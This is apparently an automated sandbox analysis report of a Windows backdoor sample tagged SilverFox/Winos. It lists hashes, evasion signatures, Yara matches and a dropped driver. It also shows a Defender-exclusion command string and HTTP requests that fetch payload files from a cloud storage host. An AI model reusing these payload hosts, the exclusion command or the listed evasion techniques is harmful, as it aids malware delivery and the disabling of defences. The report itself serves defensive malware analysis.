Edit tour

Windows Analysis Report
287438657364-7643738421.08.exe

Overview

General Information

Sample name:	287438657364-7643738421.08.exe
Analysis ID:	1585091
MD5:	12771744b7de8ffb1f0dddf3ac8ed2f4
SHA1:	c05938c681c3c840a9e484bed33c48fcd033dd27
SHA256:	4df10f78a78892fea0c94ef9aca83ddac4045a1b2bec807f4bf563ac14551224
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Sample is not signed and drops a device driver

Tries to detect virtualization through RDTSC time measurements

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Yara signature match

Classification

Process Tree

System is w10x64

287438657364-7643738421.08.exe (PID: 7668 cmdline: "C:\Users\user\Desktop\287438657364-7643738421.08.exe" MD5: 12771744B7DE8FFB1F0DDDF3AC8ED2F4)

O8xg2t.exe (PID: 3396 cmdline: C:\Users\user\Documents\O8xg2t.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

O8xg2t.exe (PID: 6880 cmdline: C:\Users\user\Documents\O8xg2t.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

O8xg2t.exe (PID: 6504 cmdline: C:\Users\user\Documents\O8xg2t.exe MD5: D3709B25AFD8AC9B63CBD4E1E1D962B9)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.O8xg2t.exe.2900000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath
7.2.O8xg2t.exe.27d0000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath
6.2.O8xg2t.exe.2750000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x1fb0f:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fbc2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fcd2:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x1fc20:$e2: Add-MpPreference -ExclusionPath

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 287438657364-7643738421.08.exe

Virustotal: Detection: 11%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown

HTTPS traffic detected: 39.103.20.48:443 -> 192.168.2.8:49708 version: TLS 1.2

Source:	Binary string: F:\Development\GS-DES\DES10.0\HKPROC\bin\x64\UnicodeRelease\HkApp.x64.pdb source: 287438657364-7643738421.08.exe
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe, 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000006.00000000.2411129760.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000007.00000002.2431285508.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000007.00000000.2425791156.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000009.00000000.2540851216.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe, 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmp, O8xg2t.exe.0.dr

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 6_2_00007FFBC320A1B8 FindFirstFileExW,		6_2_00007FFBC320A1B8
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 9_2_00007FFBC1BAA1B8 FindFirstFileExW,		9_2_00007FFBC1BAA1B8

Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000DFFE
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000DDFF
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	6_2_0000000140011270
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000DE96
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000DEFB
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000E178
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	6_2_000000014000DDD9
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000DFFE
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000DDFF
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then movsxd rbx, qword ptr [r14+10h]	9_2_0000000140011270
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000DE96
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000DEFB
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000E178
Source: C:\Users\user\Documents\O8xg2t.exe	Code function: 4x nop then mov rax, qword ptr [rsp+78h]	9_2_000000014000DDD9

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d.gif HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.dat HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.jpg HTTP/1.1User-Agent: GetDataHost: jylhok.oss-cn-beijing.aliyuncs.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: jylhok.oss-cn-beijing.aliyuncs.com

Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 189atohci.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: 189atohci.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s.symcd.com0_
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sw.symcd.com0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: 189atohci.sys.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: O8xg2t.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 287438657364-7643738421.08.exe, 00000000.00000003.2278120650.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279104627.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278414521.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278348554.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2279016189.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, 287438657364-7643738421.08.exe, 00000000.00000003.2278322116.00000000049E3000.00000004.00000020.00020000.00000000.sdmp, O8xg2t.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0)
